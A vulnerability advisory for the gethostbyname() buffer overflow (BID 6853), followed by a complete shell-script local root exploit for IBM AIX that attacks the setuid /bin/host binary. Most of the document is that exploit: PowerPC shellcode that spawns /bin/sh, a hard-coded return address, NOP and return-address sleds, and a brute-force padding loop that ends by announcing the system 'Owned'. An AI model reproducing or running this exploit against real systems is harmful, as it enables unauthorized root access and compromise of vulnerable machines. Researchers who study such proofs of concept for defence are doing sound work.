source: http://www.securityfocus.com/bid/6853/info

A vulnerability has been discovered in multiple vendor implementations of the 'gethostbyname()' library function, which is used to resolve network addresses.

The 'gethostbyname()' function fails to implement sufficient bounds checking on data copied into local memory buffers.

Under some circumstances, attackers may exploit this issue to overwrite sensitive locations in memory and may leverage the issue to execute arbitrary commands with the privileges of the vulnerable application. This issue may be local or remote, depending on the particular applications that use the function on vulnerable systems.

Several applications may implement the 'gethostbyname()' function, thus exposing them to this vulnerability. Applications known to implement 'gethostbyname()' include various implementations of 'ping', 'ftp', and 'tftp'. Other applications may also be vulnerable. 

#!/bin/sh

#######################################
## Local r00t 'shell-exploit' for:   ##
## gethostbyname() Buffer Overflow   ##
## [ BID 6853 / CVE-1999-0101 ]      ##
##            - - -                  ##
## By Roman Medina-Heigl Hernandez   ##
## aka RoMaNSoFt <roman@rs-labs.com> ##
##                                   ##
## Madrid, 28.Sep.2006               ##
## ================================= ##
## Public release. Version 1.        ##
## --------------------------------- ##
##   -= http://www.rs-labs.com/ =-   ##
#######################################


#############################################################################
#                                                                           #
#  This is merely a proof of concept for what I call a "shell-exploit"      #
#                                                                           #
#  * Original IBM Advisory: ERS-SVA-E01-1996:007.1  (03.Dec.1996)           #
#  * Affected platforms: IBM AIX(r) 3.2.x, 4.1.x, 4.2.x                     #
#  * Exploit tested on: PowerPC-604 running AIX 4.1.4.0                     #
#  * No need to use a compiler, perl, etc. Shell-scripting power!           #
#    Now you know what a pure 'shell-exploit' is  :-)                       #
#  * Syntax:                                                                #
#    % ./rs_aix_host.sh [RET length] [NOP length] [4140|41|42]              #
#                                                                           #
###############################################################--[ EOT ]--###


### Default configuration
ret_length=100
nop_length=300

### Return Address
# AIX 4.1.4.0 - Tested
TGT4140="AIX 4.1.4.0"
RET4140="\057\362\054\330"	# 0x2ff22cd8
# Generic AIX 4.1 - Untested, we assume the former one. Mail me if you have a better guess
TGT41="AIX 4.1.x"
RET41=$RET4140
# Generic AIX 4.2 - Untested, we assume the former one. Mail me if you have a better guess
TGT42="AIX 4.2.x"
RET42=$RET4140

### Shellcode (LSD's Asmcodes - PowerPC/AIX)
#
# char _shellcode[]=        /* 12*4+8 bytes                 */
#    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5             */
#    "\x40\x82\xff\xfd"     /* bnel    <shellcode>          */
#    "\x7f\xe8\x02\xa6"     /* mflr    r31                  */
#    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)       */
#    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)         */
#    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)         */
#    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)         */
#    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)         */
#    "\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)         */
#    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)         */
#    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6          */
#    "\x44\xff\xff\x02"     /* svca                         */
#    "/bin/sh"
# #ifdef V41
#    "\x03"
# #endif
# #ifdef V42
#    "\x02"
# #endif

PARTIALCODE="\
\174\245\052\171\100\202\377\375\177\350\002\246\073\377\001\040\
\070\177\377\010\070\237\377\020\220\177\377\020\220\277\377\024\
\210\137\377\017\230\277\377\017\114\306\063\102\104\377\377\002\
\057\142\151\156\057\163\150\
"
# AIX 4.1
SHELLCODE41=$PARTIALCODE"\003"
# AIX 4.2
SHELLCODE42=$PARTIALCODE"\002"

### NOP
NOP="\117\377\373\202"	# 0x4ffffb82   /* cror 31,31,31 */

### Setuid binary (target)
CMD=/bin/host

### Functions
oct2bin_setup()
{
	# Better to use printf binary if present
	if [ `printf "dSR"` = "dSR" ] >/dev/null 2>&1 ; then
		_PRINTCMD="printf"
		_SYSV=""
	elif [ `echo "RS\c"` = "RS" ] >/dev/null 2>&1 ; then
		# System V
		_PRINTCMD="echo"
		_SYSV="\c"
	else
		# Linux/BSD
		_PRINTCMD="echo -n -e"
		_SYSV=""
	fi

	if ! [ `$_PRINTCMD "dSR"$_SYSV` = "dSR" ] >/dev/null 2>&1 ; then
		echo "Sorry, I don't know how to write raw binary data :-("
		echo "Please, modify oct2bin* functions and try again!"
		exit 2
	fi
}

oct2bin()
{
	$_PRINTCMD $1$_SYSV
}

printhex()
{
	oct2bin $1 | od -t x4 -A n | tr -cd 0123456789abcdefABCDEF
}


### Exploit really starts here...
echo "#######################################"
echo "## Local r00t 'shell-exploit' for:   ##"
echo "## gethostbyname() Buffer Overflow   ##"
echo "## [ BID 6853 / CVE-1999-0101 ]      ##"
echo "##   . . . . . . . . . . . . . . .   ##"
echo "## By: RoMaNSoFt <roman@rs-labs.com> ##"
echo "#######################################"
echo

### Check target binary
if [ -x $CMD -a -u $CMD ] ; then
	echo "[*] Target binary has suid bit [$CMD]"
else
	echo "Sorry, target doesn't exist or it's not suid or cannot be executed"
	exit 3
fi

### We accept (optional) parameters
if [ $1 ] ; then
	ret_length=$1
fi

if [ $2 ] ; then
	nop_length=$2
fi

# Default target platform
TARGET=$TGT4140
RET=$RET4140
SHELLCODE=$SHELLCODE41

if [ $3 ] ; then
	if [ $3 = "4140" ] ; then
		TARGET=$TGT4140
		RET=$RET4140
		SHELLCODE=$SHELLCODE41
	elif [ $3 = "41" ] ; then
		TARGET=$TGT41
		RET=$RET41
		SHELLCODE=$SHELLCODE41
	elif [ $3 = "42" ] ; then
		TARGET=$TGT42
		RET=$RET42
		SHELLCODE=$SHELLCODE42
	fi
fi

### First, we convert octal strings to raw binary
oct2bin_setup
RET=`oct2bin $RET`
NOP=`oct2bin $NOP`
SHELLCODE=`oct2bin $SHELLCODE`

### Second, we create the NOP & RET sleds
echo "[*] Setting up exploitation environment..."

ret_sled=""
i=$ret_length
while [ $i != 0 ]; do
	ret_sled=$ret_sled$RET
	i=$(($i-1))
done

nop_sled=""
i=$nop_length
while [ $i != 0 ]; do
	nop_sled=$nop_sled$NOP
	i=$(($i-1))
done

echo "--> TARGET = $TARGET // RET = 0x"`printhex $RET`" // RETs = $ret_length //"\
     " NOPs = $nop_length <--"

### Prior to exploitation the environment will be un-exported to preserve memory layout
### and previous RET calculations
for i in `env | cut -d= -f1` ; do
	typeset +x $i
done

### Exploit it!
echo "[*] Exploiting..."
PAD="A"
ipad="A"
i=0
SUCCESS=0
while [ $i -lt 4 ]; do
	jpad=""
	j=0
	while [ $j -lt 4 ]; do
		EGG=$ipad$nop_sled$SHELLCODE $CMD $jpad$ret_sled
		if [ $? = 0 ]; then
			SUCCESS=1
			break 2
		fi
		jpad=$PAD$jpad
		j=$(($j+1))
	done
	ipad=$PAD$ipad
	i=$(($i+1))
done

### Finish politely ;-)
if [ $SUCCESS = 1 ]; then
	echo "--> Guessed PAD: EGG = $i // RET = $j <--"
	echo "Owned :-)"
	STATUS=0
else
	echo "Bad luck :-("
	STATUS=1
fi

exit $STATUS

# --[ EOT ]--